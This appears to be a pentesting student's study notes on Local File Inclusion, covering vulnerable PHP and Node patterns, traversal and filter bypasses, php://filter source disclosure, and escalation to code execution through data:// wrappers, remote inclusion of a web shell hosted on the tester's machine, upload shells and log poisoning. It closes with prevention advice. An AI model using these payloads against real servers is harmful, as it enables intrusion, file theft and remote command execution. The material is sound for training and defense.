Introduction to LFI
Local File Inclusion (LFI) happens when a web app loads a file based on user input without strict validation. This usually appears in template engines and dynamic page loaders that read content based on a parameter like ?language=es. If the path is not restricted, an attacker can read arbitrary local files such as /etc/passwd, and in some cases LFI can lead to remote code execution.
Modern apps often use parameters to reduce duplicate templates and keep routing simple. That pattern becomes dangerous when the parameter controls the file path directly. Testing starts by identifying the parameter and then trying known local files.
Vulnerable Patterns by Language
LFI is not limited to PHP; it appears in any backend that reads files based on input. In PHP, functions like include() or file_get_contents() are common sinks. In NodeJS, fs.readFile() can be dangerous if the path is user-controlled. Java and .NET frameworks have similar include or render APIs that can be abused.
Below are examples of vulnerable patterns that appear across different stacks. In all cases, the issue is that the parameter is not filtered or restricted. If you can control the path, you can often read sensitive files.
if (isset($_GET['language'])) {
include($_GET['language']);
}
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
Reading vs Executing Included Files
Some functions only read file contents, while others execute the included file. This distinction matters for impact and for RFI testing when remote URLs are allowed. Always verify the actual function used in the target code.
Understanding the execution behavior helps you decide if LFI can lead to RCE. The table below summarizes common functions you see in PHP and NodeJS, including whether remote URLs are allowed. Use it as a starting point, but confirm it in the code.
| Function | Read Content | Execute | Remote URL |
|---|---|---|---|
| include() / include_once() | Yes | Yes | Yes |
| require() / require_once() | Yes | Yes | No |
| file_get_contents() | Yes | No | Yes |
| fopen() / file() | Yes | No | No |
| fs.readFile() | Yes | No | No |
| res.render() | Yes | Yes | No |
LFI File Disclosure Techniques
Basic LFI testing starts by replacing the parameter with a known file path. A common example is changing ?language=es.php to /etc/passwd. If the file is returned, the parameter is vulnerable and the issue is confirmed.
When the app prepends a directory, you can use path traversal to escape the intended directory. If it prepends a prefix, you can add a leading slash to treat the prefix as a directory. This is a common pattern in language selection or template loading. The examples below show these simple adjustments.
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
Basic LFI Bypasses
Many filters are implemented with simple string replacement or regex checks. If certain characters are blocked, URL encoding often bypasses the filter. You can also satisfy a base-path regex and then traverse out of it. These techniques work because filters are usually shallow and non-recursive.
If the app enforces a specific base path, include that path and then traverse out of it. This satisfies the regex while still escaping the directory. Path truncation can also bypass forced extensions in older PHP versions by exceeding the maximum path length. These bypasses are common in CTF and legacy apps.
<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd
PHP Filters and Source Disclosure
PHP filters allow you to read files and apply transformations, and the php://filter wrapper is commonly used to base64-encode a file before output. This is useful for reading PHP source code that would otherwise execute. First, fuzz for PHP files like config.php, then apply the filter and decode the output locally.
This technique is important because PHP files normally execute, which hides the source. By using the base64 filter, you can read the raw file content safely. Always leave the resource name without .php if the app appends it automatically.
ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config
echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
From LFI to RCE
LFI becomes RCE when the included file is executed and contains attacker-controlled code. PHP wrappers such as data:// and php://input can execute code if allow_url_include is enabled. These paths require checking PHP configuration first.
Start by reading php.ini through LFI and searching for allow_url_include or other risky settings. If enabled, you can inject a simple PHP web shell and execute commands with &cmd=. Use URL encoding for spaces and special characters in commands.
curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
RFI Paths and Remote Inclusion
Remote File Inclusion (RFI) is possible when the function allows remote URLs and allow_url_include is enabled. In many cases, an LFI is not an RFI because the app blocks remote URLs or the function does not allow them. The easiest test is to include a local URL such as http://127.0.0.1 and observe the response.
Once RFI is confirmed, host a simple PHP web shell and include it through HTTP or SMB. HTTP is the simplest, and SMB is useful on Windows servers. In Windows, SMB-based inclusion can work even without allow_url_include, so it is worth testing.
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sudo python3 -m http.server <LISTENING_PORT>
http://<SERVER_IP>:<PORT>/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
impacket-smbserver -smb2support share $(pwd)
http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
LFI with File Uploads
If the app allows file uploads and the inclusion function executes files, you can upload a web shell and include it via LFI. The upload does not need to be vulnerable; it only needs to accept a file with embedded PHP. Then include the uploaded file with language=.
A common method is to upload a GIF with a PHP payload. For archives, the zip:// wrapper can include a file inside a ZIP, which is useful when direct execution is blocked. Each method depends on the PHP configuration and the include function type.
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
http://<SERVER_IP>:<PORT>/index.php?language=./profile_images/shell.gif&cmd=id
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
http://<SERVER_IP>:<PORT>/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id
Log Poisoning Paths
Log poisoning writes PHP code into log files and then includes the log through LFI. This works when the server can read the log and the include function executes its content. The easiest injection point is the User-Agent header, which is logged by default and can be poisoned through Burp or curl.
PHP session poisoning is another option when session files are readable. The session file name includes the PHPSESSID value and lives in /var/lib/php/sessions/. If you can control a value inside the session, you can inject PHP code and then include the session file. This gives execution when the session file is included.
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
For server logs, include access logs and check if your User-Agent appears. Then replace the User-Agent with a PHP shell and include the log again to execute it. You can poison the log with Burp or curl. Other useful logs include SSH, mail, and FTP logs if readable.
http://<SERVER_IP>:<PORT>/index.php?language=/var/log/apache2/access.log
echo -n "User-Agent: <?php system(\$_GET['cmd']); ?>" > Poison
curl -s "http://<SERVER_IP>:<PORT>/index.php" -H @Poison
Automation and Wordlists
Automation helps identify LFI quickly with fuzzing and wordlists. First, fuzz for hidden parameters using common parameter lists, then use LFI payload lists such as LFI-Jhaddix.txt to test bypasses in one scan. This is useful when you have limited time and want quick coverage.
You can also fuzz for webroot paths and server configs by targeting common directories. This helps locate files like apache2.conf or log locations. After that, read the files directly with LFI. Dedicated LFI tools like LFISuite, LFiFreak, and Liffy can automate these steps but may miss custom cases.
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
ffuf -w /opt/useful/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
ffuf -w /opt/useful/seclists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
LFI Prevention
The most effective mitigation is to avoid passing user input directly into file include functions. Use a strict allowlist that maps fixed values to known files or a switch-case and reject anything else. This removes traversal and arbitrary file inclusion.
Directory traversal can be mitigated by extracting only the filename, such as with basename() in PHP. You can also recursively strip ../ patterns before inclusion. Disable remote includes in PHP with allow_url_fopen and allow_url_include, and limit access with open_basedir. Running apps in containers reduces the blast radius.
while(substr_count($input, '../', 0)) {
$input = str_replace('../', '', $input);
}
Use a WAF like ModSecurity to block common patterns, but avoid aggressive rules that block normal traffic. Keep dangerous modules disabled and run web services with least privilege. In PHP, disable risky functions if they are not needed. These steps reduce both the likelihood and the impact of LFI.
Reference
This article is based on my personal study notes from the Information Security Foundations track.
Full repository: https://github.com/lameiro0x/pentesting-path-htb